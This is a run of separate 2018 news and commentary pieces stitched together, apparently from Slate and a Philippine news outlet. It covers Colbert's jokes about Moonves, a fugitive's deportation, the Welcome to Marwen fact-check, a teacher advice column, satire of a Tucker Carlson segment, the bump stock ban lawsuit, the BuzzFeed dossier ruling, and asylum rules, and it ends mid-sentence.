Moonves the large severance because of his willful failure to cooperate fully with the Companys investigation. Advertisement Every show hes greenlit for the last 20 years was about investigations, Colbert joked. On the bright side, CBS has enough material for a new program: NCIS: Human Resources. Advertisement Advertisement Advertisement With $120 million now fair game, Colbert revealed his ideas about who the money should go to, hilariously suggesting, I get half of it, the other half goes to Tom Sellecks mustache. While were not sure how valuable Blue Bloods has been for the network, I think we can all agree a donation to the Tom Selleck Mustache Upkeep Fund is in the best interest of viewers everywhere. Citing the New York Times, Colbert also revealed that Moonves staggering earnings totaled more than $1 billion over the past 10 years, leading the host to make an apt comparison between Moonves and President Donald Trump, saying, What job could a famous TV billionaire with sexual assault allegations possibly getoh, my god! Advertisement Advertisement Just this week, Cybil Shepard came forward with her own allegations against Moonves, alleging that her CBS sitcom, Cybill, was canceled soon after the actress turned down Moonves advances, ending after only three seasons. In her account of experiencing alleged sexual harassment on the set of the CBS show Bull, Elizu Dushku says that the shows star, Michael Weatherly, used his special friendship with Moonves as an amulet and, as I can see now, as a threat. Even with the mounting list of allegations, Colbert ended by admitting he thought Moonves would still be better than the current Commander in Chief. The Bureau of Immigration ordered the deportation of Japans most wanted fugitive, who is accused of being the leader of a major fraud ring in Japan. Misao Koyama, also known as Misao Kaminsukaso, was arrested along Gil Puyat Street in Manila, in a joint operation with Tokyo Interpol, Immigration commissioner Jaime Morente said. Morente said that Koyama will be deported to Japan where he faces charges for allegedly forging private documents to sell other peoples lands without their consent. BI-Fugitive and Search Unit Chief Bobby Raquepo said Koyama is allegedly the leader of an eight-man fraud ring accused of selling other peoples property by using forged land deals. They have reportedly swindled billions of yen from their victims in Japan. Japanese authorities sought our assistance in locating and deporting Koyama as he has a standing warrant of arrest for fraud, Raquepo said. Upon receipt of this information, we immediately conducted an investigation to locate him so he may be sent back to Japan to face his crimes, he said. Morente reiterated his warning to fugitives hiding in the Philippines that the Philippines is not the place for them to hide. We are closely coordinating with other law enforcement agencies and foreign counterparts.Do not use the Philippines to evade prosecution. You cannot escape the long arm of the law, he added. Meanwhile, twelve more Chinese nationals allegedly involved in illegal online gambling in Pampanga were arrested by agents of the National Bureau of Investigation (NBI).The NBI said the operatives, who had with them arrest warrants issued by a Tarlac court, raided the house of the alleged illegal online gambling operators in Trinidad Village, Barangay Calibutbut, Bacolor, Pampanga, on December 11, the NBI said Thursday. The NBI made the arrest following an intelligence report received by the NBI Cybercrime Division on November 29 concerning such illegal activities which were allegedly run without a license from the government. The arrested Chinese nationals were identified as Chen Ya Ting, Chen Chengang, Sun Qiao Yan, Wei Bing, Lei Shi Feng, Gao Cheng Feng, Lin Jin, Wang Hai Tao, Wu Cheng Pin, Ruan Cheng Hui, Gao Fei and Chen Long Xi, the NBI said. A suspect, identified as Chen Hao Ran, was not in the area at the time of the operation, it added. Seized during the raid were 15 mobile phone devices, 11 desktop computers, two laptop computers, two routers and two modem enhancers. The operatives and technical agents of the NBIs Digital Forensic Laboratory positively identified the devices as being used in communicating with clients, maintenance, and accounting of funds, the NBI said. The arrested foreigners face charges for violation of Presidential Decree No. 1602, which prescribes stiffer penalties in illegal gambling, in relation with the Cybercrime Prevention Act of 2012. Welcome to Marwen starts with a nail-biting action sequence right out of a gung-ho WWII morale booster: a square-jawed, leather-jacketed U.S. Army air ace, his engines on fire, skims over a forest and crash-lands, managing to escape the burning plane only to be surrounded by a Nazi patrol. But something about the film seems offthe actors have an oddly plasticized look, and the pilot, barefoot after his boots are incinerated during the landing, encounters the Germans while wearing a stylish pair of womens high heels he has found along the way. Advertisement It turns out the sequence is a dramatization of a fantasy world created by Mark Hogancamp as a way of coping with a severe trauma. Hogancamp built a tiny Belgian village, originally called Marwen and later Marwencol, in his backyard and populated it with characterssome based on people he knew, some imaginaryembodied by customized action figures and Barbie dolls, who enacted scenarios that he photographed. In 2005, David Naugle, a photographer neighbor of Hogancamps in upstate New York, became aware of the installation after seeing Hogancamp pulling a scale-model Army jeep filled with dolls along the road and asked if there were any photos. Advertisement Advertisement Advertisement Naugle immediately recognized the power of Hogancamps imagescinematic stills from an imaginary wartime B-movie that unironically replicate the narrative punch of the genreand sent them off to an art magazine. The resulting coverage led to an exhibition, a documentary, a book, and now Robert Zemeckis feature film starring Steve Carrell (who portrayed an equally obsessive, though far more malevolent, eccentric recluse in Foxcatcher) as Hogancamp. Advertisement Advertisement The Attack In the film, a couple of loutish bros try to pick a fight with Hogancamp in his local bar, calling him a queer. A fairly drunk Hogancamp nonchalantly deflects their abuse with quips and thinks he has neutralized the situation, but as soon as he leaves the bar, five guys jump him, beating him savagely. Hogancamp lies in the road for an hour before he is found by a waitress, Wendy (the Wen in Marwen), whom Hogancamp is in love with. Advertisement Advertisement This is pretty much what happened in 2000, except that Hogancamp got chatting with Freddy Hommel, one of the attackers, in the Luny Tune Saloon, revealing he was a cross-dresser. It was in fact a bartender, Nora Noonan, who rescued Hogancamp and got him to the hospital just before he might have drowned in the blood filling his lungs. In the film, the attacker Hogancamp starts talking with in the bar has a swastika tattoo, but there was no mention of any such tattoo or neo-Nazi affiliation in press reports or during the trial. Ironically, according to the Welcome to Marwencol book, during his police interrogation, Hommel accused Hogancamp of being a neo-Nazi who thought POWs deserved to die. The Recovery Hogancamp is in a coma for nine days after injuries to every part of his body, but especially his head. He wakes up and goes through a long rehab process, learning how to walk, talk, and eat again with the aid of an understanding physical therapist (an underused Janelle Monae) who provides the model for a doll. He also finds he has no memory of his life before the attack and so has no idea of what he was like or whom he was close to. Advertisement Advertisement Advertisement Advertisement Advertisement Returning home from the hospital, Hogancamp still suffers from PTSD and crippling anxiety. His care consists of home checks from a brisk but caring Russian health visitor (Gwendoline Christie) who leaves notes reminding him to eat and to take his anti-anxiety medication only once a day, advice he ignores to the point of developing a dependency on the pills. Afraid to go out, he becomes increasingly depressed and isolated until he picks up an action figure in a hobby store that becomes his alter egoHogie, a sort of cross between William Holden and Lee Marvinand starts creating the Marwen mythology.* When he discovers a closet full of womens shoes that just happen to be in his size, his passion for wearing high heels and stockings is rekindled. Advertisement This is largely true. (The physio and the health visitor may be invented, but wearing womens shoes helped restore his ability to walk without becoming unsteady and lessened his anxiety.) However, there is a significant omission. Hogancamp left the hospital after 43 days not because he was recovered but because his Medicaid ran out. He subsequently received physical, cognitive, and occupational therapy, but only for less than a year because his state-financed insurance stopped paying at that point (he never got psychiatric counseling because it wasnt covered), and he was thrown back on his own resources. This made him almost angrier than the original beating. Advertisement Also, on leaving the hospital, Hogancamp did not move directly into the cute little rural house shown in the film to cope alone but instead went back to his former apartment. A former co-worker at the Anchorage bar and restaurant called Tom (who is omitted from the movie) became his caregiver, helping with the ordinary tasks Hogancamp was still unable to perform due to his poor motor skills. When Tom had to relocate two years later, Hogancamps mother (who also does not appear in the movie) moved him into a trailer in Kingston, New York. Advertisement Advertisement Advertisement Hogancamp rebuilt his frame of reference by watching TV and by perusing his old journals and sketchbooks dating back to 1984 when he first joined the Navy. Although the movie suggests Hogancamp was an accomplished illustrator of WWII comics, in actuality he was an enthusiastic amateur, filling portfolios with images and stories, a fascination kindled by his maternal grandfather, Papi, who had served in the German army as a conscript. His actual job was as a carpenter building retail showrooms for a lighting company and trade shows. The film diverges majorly from reality in its depiction of Hogancamps life before the attack. The movie implies the attack completely shattered not only his body but his life, leading to the breakdown of his marriage and contact with his kids. It glosses over his long, ongoing battle with alcoholism before the attack (I wasnt aware of the amount he drank, Tom recalls in the book. I found about fifty half-gallon liquor bottles in his apartmentunder the bed, in the closets, piles of them), with resulting DUIs, jail time, and a period of homelessness. Even before the attack, his marriage was already well in the past and he was broke. Advertisement Advertisement Advertisement The spell in the hospital acted as a detox, and Hogancamp found he had no desire to drink again. Divorced from his previous personality, he decided to reject the aggressive, depressed, and often racist man he discovered in the journals and diaries (and who is never really depicted on screen). However, he wanted to embrace the creative side displayed in the sketchbooks and portfolios. Relationships The movies depiction of Hogancamp as being viewed locallyat least before he became a semi-celebrityas a sort of lovable eccentric is rather rosy. In Kingston, he was just that weird guy who walked around dragging a toy jeep, said Chris Shellen, co-author of the Marwencol book and co-producer of the 2010 documentary. Advertisement Advertisement Advertisement The movie also exaggerates the extent to which Hogancamp has been able to form emotional attachments. He did indeed have a crush on Wendy the waitress (who found him a couple of hours of work per week at the Anchorage) and his neighbor Colleen (the col in Marwencol), but both are married and he never declared himself to either, certainly not going so far as to buy a ring and propose to Colleen as he does in the film. However, the women have remained supportive friends. Advertisement In the film, Colleenrenamed Nicol and played by Leslie Mannhas a possibly abusive boyfriend who triggers flashbacks in Hogancamp. This is an invented character but he may be a stand-in for the attackers, only three of whom went to prison and all of whom were out and walking around Kingston by 2010. The movie also invents a clerk at the hobby store where Hogancamp buys his supplies who has a soft spot for him, played by Merritt Wever. It was in fact a couple, the owners of the hobby store, who befriended him and suggested he work with 12-inch dolls after he rediscovered his interest in WWII miniatures but found his hands shook too much to draw or to paint the small figures. The idea that Hogancamp would at this point be open to a romantic relationship is sadly pure Hollywood. I dont ever want to get hurt again, he told the documentarians in 2010. Advertisement Advertisement Advertisement Advertisement Instead, his closest relationships in real life continue to be with the dolls. In the movie, he creates a red-headed Nicol doll who becomes Hogies bride, but in the actual Marwencol story, Hogies true love is a blond Russian princess called Anna Romanov. (Hogancamps ex-wife, he discovered in his journals, was named Anastasia.) Similarly, the films femme fatalecum-villainess is Deja Thoris, the Belgian witch of Marwencol. In the film, she represents Hogancamps (fictional) addiction to painkillers, telling him, Im the only one who understands your pain, and he ultimately (spoiler alert) locks her up after she betrays Hogie to the Germans. Hogancamps own invented narrative is more complicated. Deja is in love with Hogie, but his heart belongs to Anna, leaving her constantly frustrated and sad. Far from locking her up, the real Hogancamp felt sorry for her and so married her in a Marwencol ceremony. He now carries her in a little pouch around his neck. When he gets upset about something, Deja helps him think through it, Shellen said. Shes been a positive force for him. Advertisement Advertisement Advertisement Advertisement The film makes no mention of what was possibly Hogancamps most significant real-life relationship, that with his mother. When Hogancamps original Pentax became unusable, she bought him a new megapixel Canon that enabled him to expand his photographic project exponentially, even though she was not initially a big fan of Marwencol. It was painful for her, Shellen recalled, to watch her son being nearly beaten to death and then becoming a hermit happiest playing in a doll village. Marwencol The film faithfully recreates Marwencol, itself a scale (1-to-6) re-creation of a 1940s Belgian village, complete with a bar, a church, a bank, and a business for Colleen. It also captures Hogancamps remarkable attention to detail, whether in tiny propaganda posters and maps, miniature grenades, or cocktails complete with ice. However, as Jon Ronson noted after a 2015 visit, in real life Marwencol is a bit like a soundstage. After the photo is taken, the location is principally plywood and mud, whereas in the movie it remains a collection of beautiful dollhouses at all times. Discovery David Naugle, the photographer who got the ball rolling by sending Hogancamps photographs to the art magazine, is left out of the movie. Instead, it is the sympathetic hobby-store clerk who sends the photos to a gallery-owner friend. However, even before Naugles intervention, Marwencol was not entirely a secret. The enthusiastic reception his photographs received from friends at the Anchorage encouraged Hogancamp to send some off to the Ultimate Soldier fan page. An image called Rescuing the Major, still one of Hogancamps strongest, even won a contest on the site in 2004. Care and Feeding is Slates parenting advice column. In addition to our traditional advice, every Thursday we feature an assortment of teachers from across the country answering your education questions. Have a question for our teachers? Email askateacher@slate.com or post it in the Slate Parenting Facebook group. This weeks Ask a Teacher panel: Katie Holbrook, high school, Texas Amy Scott, eighth grade, North Carolina Brandon Hersey, second grade, Washington Matthew Dicks, fifth grade, Connecticut I have small kidspreschool and kindergartenand so am fairly new to the full-time school routine. But Im trying to figure out what is reasonable timing for schools to request materials or contributions from families. For example, the holiday show at my kids school is in a week. Apparently they need costumes, but only one of the teachers has bothered to tell us what costume should be provided. I think this is outrageousthings like this can potentially require hours of work to pull together. What about snacks? Last year, my kids preschool director informed me with less than 24 hours notice that I needed to provide snacks, and the school has a very restrictive snack policy. The list goes onposters, family photos, etc.all requested with 24 to 48 hours notice. I would really like to ask the principal to implement the following policy: Teachers should provide families with a full week of notice for any needed supplies outside of a standard (pre-issued) school supply list. Two weeks notice should be required for anything especially unusual, like costumes or idiosyncratic food requests. Or do you have some other strategy to suggest? Given that teachers are often working moms, I dont understand why they think this is reasonable! Their failure to plan does not constitute an emergency for my family, but I dont want my kids punished. Advertisement Advertisement Advertisement Advertisement Overworked Working Mom Dear Overworked, Man, thats annoying. I also have young children and have been nonplussed when told I need to bring a dozen Easter eggs prefilled with hypoallergenic nonfood items. Tomorrow. Of course these requests were often on the monthly newsletter I forgot to take out of my childs cubby. But it sounds like youre a pretty organized mama, so perhaps their lack of foresight is especially galling to you. However, before going to the principal, share your ideas with the teachers. Im particularly irritated when a parent goes over my head. Another possible resource is your schools parent-teacher association. Our neighborhood elementary schools PTA actually negotiated discounted beginning-of-the-year school supply boxes with a local retailer. PTAs are also the place where hero moms and dads stock up on poster boards and make last-minute Target runs for glitter glue. (Im not that mom. Its OK that you are also not that mom.) Advertisement Advertisement Keep this in mind: Its possible these teachers feel as overworked as you do and sometimes drop the ball. Each year, my employers add more to my plate without taking anything away. Offer up your ideas in the spirit of constructive criticism with compassion for how hard they are likely working. Explain that you are happy to provide requested supplies but that you require more notice and imagine other working parents do, too. The teachers may support your efforts or provide helpful insight. And I fully support your right to say no. So your preschooler is the only one not wearing a costume at the holiday show? Or shes actually wearing a Halloween costume you found under the bed? Its not that big of a deal. Shes not likely to remember it anyway. Advertisement Advertisement Advertisement Ms. Holbrook After loving it for the past two years, my high school sophomore is struggling with Chinese this year, and I believe the issue is the teacher. They have a combined Chinese 2/3 class, and the teacher is using the same materials and expecting the 2 class (including my kid) to keep up. They arent. This teacher grades kids harshly for participation, loses quizzes, and frequently yells demeaning things. My child comes home every day frustrated, sad, and sometimes depressed over this class (shes getting a C in this class, but As in all her others). Ive said repeatedly Im willing to talk to the teacher or guidance counselor if she wants me to, but shes trying to fix this herself. At this point, three months into the semester, I think this needs to be escalated. Should I? How do I help my child succeed here? Advertisement Advertisement Advertisement Advertisement Meddling Mother? Dear Meddling, Thats really tough. I feel for your child, and for her teacher. To give you some perspective from the teachers standpoint: Combination classes are a nightmare. Yes, there is often overlap in grade level content (what we call spiraling curriculum), but sometimes the coursework is entirely different. And even when it does spiral, students are expected to build on what they know. If the foundation from the previous class is missing, theres nowhere to build. Teachers are not given enough time to plan, teach, and grade for a single subject, much less two at the same time. So is this teacher pushed beyond their limits? Likely. That being said, the issue does need to be addressed. Teachers should differentiate for needs and abilities, teachers should keep up with paperwork, and teachers should not demean their students. This teacher needs to hear these things. Advertisement Advertisement And while I believe kids should be taught to advocate for themselves, your daughter is not going to fix this one herself. The teacher has not created an environment in which your daughter feels comfortable sharing her concerns, so you are going to have to do it. Tell your daughter your plan, deal with that fallout, and then set up a conference. Speak your piece as dispassionately as you can. Try to be curious, rather than righteously indignant, even though it sounds like you have reason to be. Your argument might sound something like this: Advertisement My daughter is really struggling in your class, and I want to do whatever I can to support her. Its not about the grade, of course, but generally, shes a straight-A student, so a C is odd for her. Let me just go over a few things that Im hearing, and you can tell if Im understanding the situation correctly. First, is she expected to learn via the Level 3 materials even though she hasnt had Level 2 yet? Advertisement You can then go into the missing quizzes (although Im not sure I understand that part). Did your daughter get a zero because the teacher misplaced an assignment? If so, you can say: She says she turned it in to you. Can she retake the quiz or do a makeup assignment? Beyond that, do mention the classroom climate. You dont have to say: Stop yelling at these kids. Try something like: My daughter didnt want me to share any of this with youhonestly, shes a little scared of you. Like most kids, she works best when she is praised for effort and not too harshly reprimanded for mistakes. I know you have a lot of students, and a lot to do in very little time, but do you think you could check in with her periodically to make sure shes understanding the content? I think it would go a long way toward her academic progress and her comfort level in the classroom. Advertisement Advertisement Advertisement Advertisement Advertisement This conversation will likely be uncomfortable but worth it. If it doesnt go well, appeal the issue to the principal. Ms. Scott When I picked my daughter up from kindergarten the other day, her teacher pulled me aside and reported she had a very bad day with my daughter. She said verbatim, She was bossy and just downright nasty today. While this is the second time she has referred to my daughter as bossy, I was very taken aback by her use of the word nasty to describe a 5-year-old. I asked for specifics and was told my daughter snatched something from a classmate and had talked back to the paraeducator. No other details were provided. At home, my daughter was able to provide some more detail and identify areas of growth. She, of course, also had her side of the story. Advertisement I sent the teacher an email letting her know the outcome of the conversation with my daughter. I also said that I felt a bit attacked by her choice of language and asked in the future for specific details about incidents without the attached labels like bossy and nasty. I also requested that my daughter be involved in any end-of-the-day conversation regarding behavior. Multiple people read the email and stated that it was kind and fair. At pickup, the teacher would not even look at me and walked past me without any acknowledgment. She has not responded to my email. Advertisement Did I overreact by asking the teacher to stop calling my daughter bossy and nasty? Where do I go from here? Advertisement Kindergarten Woes Hey there Woes, You did not overreact in the slightest. Teachers language directly affects our students. She was incredibly disrespectful to you and your daughter. What if your daughter or another student were to overhear your conversation? This could seriously affect her self-esteem and development. Part of an educators job is to thoughtfully communicate how negative behaviors affect the classroom without using words like nasty. Advertisement Rest assured, you were in the right to defend your child. Also, your daughter is in kindergartenthis is where children learn how to behave in school. If you do engage with the teacher about this subject againand I hope you dont have toit may be time to set up a meeting so that the two of you can have a productive conversation about your daughters behavior. The teacher should have plenty of curriculum-based resources like Second Step or Kelsos Choice to help your daughter learn more friendly behaviors. If not, you can access many of these lessons online. Advertisement As for what you can do on your own? Id focus on continuing to have conversations with your daughter about her growth. And remember, one of the most successful women in history was once called nasty, too. Advertisement Advertisement Mr. Hersey My daughter is in fourth grade this year and has ADHD. Last year, I was concerned she might have a learning disability like dysgraphia or dyslexia because she had poor spelling and handwriting, and those disabilities run in my family. The tests showed that her issues are mostly with encoding and decoding (i.e., a nonspecific processing issue), but her scores were not low enough to warrant additional help within the school setting. (She was 1.5 standard deviations below the mean, and she needed to be 2 or greater to qualify for special education.) Since then, Ive been working with her teachers. She had a math tutor over the summer and continues to have one now, but her spelling and writing are still atrocious. On any given day, I cannot make out one word of what the child is writing. How can I best help her? Should I have her tested for a more specific auditory processing issue in order to get her more help at school? Should I just hire another tutor to help her with the spelling and writing? She reads well enough (fluency could use improvement), but the teacher gave me a paper that stated the school was concerned shed fail state mandated reading exams (MAP, SBA). I am so confused if they acknowledge a problem, shouldnt they help to fix it? What else can/should I do? Worried Mom Advertisement Advertisement Advertisement Dear Worried, It can be extremely frustrating when your child is struggling but the level of struggle does not meet the level required for special education. This, however, should not exclude your child from receiving support at school. From what you describe, your child should certainly receive some form of modified assistance in school. My advice is to use their concerns over the state mandated reading exams to call for another meeting to assess your daughters needs. Tutors are wonderful, and if you can afford them, by all means offer your child every bit of assistance you can. But this is a public school with specific responsibilities to your family. Ill also add this: When it comes to writing, handwriting and spelling are the least important elements of the craft. Many world-class writers never master spelling or handwriting and go onto amazing careers. E.B. White, the essayist and author of Charlottes Web, for example, had nearly indiscernible handwriting, but it did not hold him back from a prolific and historic writing career. In my experience, parents tend to focus on handwriting and spelling because that is what they can see and understand, but far more important is the ability to communicate effectively using words and sentences. Ive had many young writers who struggle with both spelling and handwriting who eventually flourish on a computer once both of those barriers are mitigated. Advertisement Advertisement Advertisement If you look beyond her spelling and handwriting, how is she doing? Does her writing meet the standards? Does her writing compare well with her peers? Does she enjoy writing? Can she communicate with a clear and distinct voice? If the answers to those questions are yes, fantastic! If not, dont hesitate to become a squeaky wheel to get her some help. Either way, focus less on handwriting and spelling. Young writers can begin to hate the writing process when mechanics are placed ahead of self-expression. In fact, I advise parents to never look at their childs writingjust be an excellent listener as they read it aloud. Writers want to be heard. Let your daughter be heard, even if shes the only one who can read the words. Mr. Dicks Extremely normal and well-adjusted Fox News host Tucker Carlson aired a segment on cookies Tuesday night, inspired by reports that a baker in Scotland cooked up some gingerbread people instead of gingerbread men. Advertisement Advertisement Advertisement Advertisement After consulting with the worlds top 2,000 gender-studies professors, I have determined that cookies are neither people nor men. You wouldnt know that from watching Carlsons show, which treated the Scottish dessert scenario as an urgent threat deserving of concerted right-wing resistance. Carlsons guest, right-wing radio host Tammy Bruce, called gingerbread men a target of the lefts culture bullies. Carlson himself situated the gingerbread people within the greater war on Christmas, a global struggle being fought very fiercely here in America, but not just in America. Given that this multifront war on Yuletide does not actually exist, some might argue that Carlsons concern trolling should be ignored. Nonsense! Heres a comprehensive rundown of all the logical pitfalls he and Bruce stumbled into in their 3-minute segment. Advertisement Advertisement 1. De-gendering gingerbread men is not a tactic of the war on Christmas, but of the war on men. No one is forcing gingerbread cookies to take down their gingerbread Christmas trees or to wish other treats Happy holidays with their little gumdrop mouths. They are free to exercise their religious freedom and vocally celebrate the birth of Christ, as long as they renounce both their manhood and their masculinity. 2. Carlson says leftists dont want to give [cookies] a gender without their consent. Nice use of a scary buzzword, but gingerbread cookies have no bodily autonomy. Theyre made for eating. And didnt you see Shrek?! They can feel pain! 3. You dont even want to know how many bathrooms there are now in gingerbread houses. A lot, Carlson said of the gender-neutral cookies. A few seconds later, Bruce repeated the point: Im starting to think about the complicated structure of gingerbread houses. I wonder, how many bathrooms can they get into one house? This is a willful misunderstanding of the bathroom needs of gingerbread cookies, which produce no excrement. Besides, any crumbs they do defecate are sanitary and edible. Secondly, if all gingerbread people in a house are gender-neutral, they can all use the same gender-neutral bathroom. (They can also do so when there are gingerbread men in the mix, because gender-neutral restrooms accept all genders, especially now that gingerbread people have all abandoned maleness, leaving no right-wing gingerbread men left to complain that they dont want to use the same toilet as gingerbread women and nonbinary cookies.) Advertisement Advertisement Advertisement Advertisement 4. By Bruces own account, the Scottish baker making gingerbread people began to do so on a whim, then was surprised by the resulting backlash. This is not a tale of angry leftists and feminists enforcing a politically correct world of genderlessness. This is about cranky conservatives directing disproportionate anger at one baker who noticed that cookies dont have inherent genders. No ones mad at bakeries that produce gingerbread men, raspberry thumbprint girls, male eclairs, or lady cannoli. The only people trying to enforce an imaginary gender policy on baked goods are coming from the right. 5. Bruce claims she couldnt tell whether the gingerbread cookies in question were men, because theyre also not wearing clothes, so its hard to say what it is that they are and what theyre doing and what theyre not doing. Its super progressive of her to note that a gingerbread cookies genitals (which youd totally be able to see if it wasnt wearing clothes) do not determine its gender, but she should recognize that its gender presentation (clothes) may also bear no relation to its gender identity. Advertisement Advertisement 6. As another example of the war on Christmas/war on men, Bruce presents the case of Baby, Its Cold Outside, which a Kentucky radio station played on a loop for two hours in response to an Ohio radio station declining to play the controversial song. Obviously, Kentucky, for two hours on Sunday, was nirvana, Bruce said of listening to the same song for two hours straight. Falseit was Dean Martin. Advertisement 7. Furthermore, Bruce has missed the memo on the current feminist discourse around Baby, Its Cold Outside. Tired: Baby, Its Cold Outside is about sexual coercion. Wired: In its proper historical context, Baby Its Cold Outside is a sex-positive anthem about a woman recognizing, and rebelling against, the social conventions that prevent women from aggressively seeking sexual pleasure, e.g., at least Im gonna say that I tried [to rebuff his advances]. 8. At the end of the segment, Carlson encourages conservatives to refuse to participate in their own spiritual neutering. We should, at every step along the way, say, Im not complying with that, he says. Call HR on me, Im not doing it. No employee is going to file a human resources complaint against Carlson for insisting on calling cookies men. They would, however, have good cause to do so if he continues to use the phrase spiritual neutering, which is gross. On Tuesday, the Department of Justice issued its final rule banning bump stocksaccessories that allow semi-automatic rifles to fire like fully automated riflesthroughout the country. That same day, a group of Second Amendment organizations filed a lawsuit challenging the rules legality. The plaintiffs raised a number of predictable claims, alleging that the policy exceeds the executive branchs authority and infringes upon the right to bear arms. But their first and central argument is a direct attack on Trumps DOJ: They argue that acting Attorney General Matthew Whitaker was appointed illegally, rendering the bump stock ban that Whitaker authorized null and void. Advertisement President Donald Trump has pushed a bump stock ban since the 2017 Las Vegas massacre, when a shooter used bump stocks to kill 58 people and injure more than 400 in the most deadly modern mass shooting in U.S. history. Under President Barack Obama, the Bureau of Alcohol, Tobacco, Firearms, and Explosives twice found that bump stocks could not be regulated under a federal law that bans machine guns, since they contain no moving parts. Trump ordered the attorney generalat the time, Jeff Sessionsto reconsider this conclusion. Advertisement Advertisement Advertisement Now the Justice Department has amended federal regulations to clarify that bump stocks do, indeed, fall within the federal definition of a machine gun, and are therefore illegal. Under federal law, a machine gun is any weapon which shoots automatically more than one shot, without manual reloading, by a single function of the trigger. Any part designed for use in converting a weapon into a machinegun is also prohibited. The DOJ held that bump stocks fall within this definition because they allow a shooter of a semiautomatic firearm to initiate a continuous firing cycle with a single pull of the trigger. In short, they allow rifles to function like machine gunsprecisely what the law forbids. Owners of these accessories have 90 days from Tuesday to surrender or destroy them. Advertisement Advertisement Gun rights activists insist that bump stocks dont fall under the federal ban within the text of the law because they do not allow a firearm to fire more than one shot by a single function of the trigger. Rather, these devices harness a rifles recoil energy to make the trigger automatically re-engage (or bump) against the shooters finger. So a shooter need only pull the trigger once to fire multiple roundsbut the trigger itself will automatically re-engage to keep shooting. The dispute here, then, is whether a single function of the trigger can be reasonably interpreted as a single pull of the trigger. President Donald Trump has pushed a bump stock ban since the 2017 Las Vegas massacre. Thats a tricky question. Because law is ambiguousit does not define functionthe courts are probably obligated to defer to the DOJs interpretation, which is certainly plausible. In their lawsuit, however, the Civil Rights Defense Firm, the Madison Society Foundation, and the Firearms Policy Coalition and Foundation argue that it is arbitrary and capricious, a botched reading of the relevant statute. They also make a range of constitutional claims, alleging that the rule violates the Second Amendment, the Fifth Amendment, the Ex Post Facto Clause, and the Contracts Clause. Advertisement Advertisement Advertisement These constitutional claims are frivolous and will be waved away by the courts. The government is allowed to criminalize accessories that allow a shooter to slaughter hundreds of people in a matter of minutes; its machine gun ban has been upheld by the courts. The government can ban and seize a dangerous item without compensating the owner. And it can outlaw weapons without a grandfather clause that allows current owners to keep their devices. But the plaintiffs case against Whitaker cannot be so easily dismissed. They arguecorrectly, in my view and the view of many legal scholarsthat the federal statute that controls succession at the DOJ does not permit Trump to appoint Whitaker as acting attorney general. (If the law did allow Trump to elevate Whitaker without Senate confirmation, it would likely be unconstitutional.) Instead, this statute clarifies that Deputy Attorney General Rod Rosenstein should be considered the acting attorney general. Accordingly, the plaintiffs write, Whitaker is unable to lawfully perform the duties and responsibilities of Attorney General and lacks the authority to sign the Final Rule as Attorney General. As a result, the Final Rule must be struck down as invalidly enacted. Advertisement Advertisement Advertisement Advertisement This argument is not wrongalthough if a court agreed, the solution would be simple: have Rosenstein sign the rule. Still, this attack on the acting attorney generals authority illustrates what an unforced error the Whitaker appointment was. A bunch of plaintiffs, from senators to asylum-seekers, have already challenged Whitakers authority. Now even gun rights groups, a longstanding ally of the president, are exploiting his legally dubious elevation in court. As long as he remains the ostensible head of the Justice Department, plaintiffs will seize upon his shaky claim of authority to pursue their goals. (Notably, the National Rifle Association did not file suit against the bump stock ban; perhaps the group was hesitant to buck the president in whom it is so heavily invested.) Whitakerwho, the Washington Post reported Thursday, will not recuse himself from overseeing special counsel Robert Muellers investigation, overruling the counsel of ethics officialsmay not be in this tenuous position much longer. Trump has nominated William Barr to replace him, and Barrs confirmation would end the uncertainty over who, legally, is in charge of the DOJ. Until then, expect the barrage of lawsuits over Whitaker to continue, even from conservatives who might find themselves irked by any given new Trump policy. Gun rights groups: Welcome to the resistance. A federal judge threw out a defamation suit Wednesday that was filed against BuzzFeed in connection to the sites publication of the controversial Steele Dossier, the collection of explosive claims about Donald Trump and his campaigns connections to Russia. The suit was filed by Russian businessman Aleksej Gubarev, whose name appears in the dossier compiled by a former British intelligence official ahead of the 2016 election. Gubarev, a resident of Cyprus, who heads the Luxembourg-based company XBT, as well as the Florida tech company Webzilla, filed suit in Florida in February 2017 claiming that BuzzFeed was reckless in its publication of the unverified dossier that implicated Gubarev and his company in the DNC hack. Advertisement In response to the suit, BuzzFeed later redacted the names of the companies that appeared in the document, but its editor-in-chief Ben Smith defended the publication of the full dossierit was the first news outlet to do sodespite the fact that many of the claims were unverified and some unverifiable. BuzzFeeds decision to publish the 35-page document two weeks before Trumps inauguration sparked debate in the media about where the ethical bar was when printing this sort of incendiary report. BuzzFeed, in an attempt to defend itself, reportedly deployed an investigative team to try to verify aspects of the dossier; it also sued the DNC for access to what BuzzFeed hoped would be exculpatory evidence about the hack. But, in the end, Judge Ursula Ungaro of the United States District Court in Miami, ruled that whether or not the information was true or verified, BuzzFeed had a right to publish under the fair report privilege, which allows media outlets great leeway to publish information even that turns out not to be true, as long as the information was derived from an official public document or statement. This allows, for instance, media outlets to publish stories about governmental proceedings vital to the public interest without opening them up to libel claims for not verifying every aspect of the proceeding. Advertisement Advertisement Advertisement Advertisement Advertisement In ruling for BuzzFeed, Judge Ungaro noted that days before the dossier was published the very top of the U.S. intelligence world briefed then-President Obama and Trump himself on the dossier. Those briefings constituted what the law calls official proceedings, providing BuzzFeed with legal protection to publish the dossier as part of an article headlined These Reports Allege Trump Has Deep Ties to Russia, the New York Times reports. In her decision, the judge noted that the BuzzFeed article on the dossier included the disclaimer that it included specific, unverified, and potentially unverifiable allegations. That, Judge Ungaro ruled, was enough to protect BuzzFeed from the suit brought by Gubarev, whose lawyers said he plans to appeal. As Judge Ungaro affirmed in her ruling, a key principle underlying the First Amendment is that the public has a right to know about actions taken by its government, BuzzFeed editor Smith said in a statement on Twitter Wednesday. As we have said from the start, a document that had been circulating at the highest levels of government, under active investigation by the F.B.I., and briefed to two successive presidents, is clearly the subject of official action. Moreover, its publication has contributed to the American peoples understanding of what is happening in their country and their government. A federal judge on Wednesday struck down Justice Department rules that made it harder for asylum seekers to make successful claims based on fear of domestic abuse or gang violence, offering yet another judicial blow to the Trump administrations efforts to unilaterally rewrite immigration law. In his ruling, Judge Emmet Sullivan of the U.S. District Court in Washington concluded that the policieswhich were rolled out by former Attorney General Jeff Sessions in Junewere arbitrary and capricious, violating federal immigration law as crafted by Congress. Advertisement In his June order, Sessions sought to reverse a 2014 decision by the Board of Immigration Appeals, which held that victims of domestic violence may qualify for asylum. The BIA found at the time that women who are persecuted by their husbands but unable to leave their marriages or obtain help from law enforcement constitute a particular social group, one of the factors that would give them a right to seek asylum in the United States. A quirk in immigration law, however, permits the attorney general to singlehandedly reverse BIA decisionsand thats precisely what Sessions tried to do, asserting that victims of domestic violence are 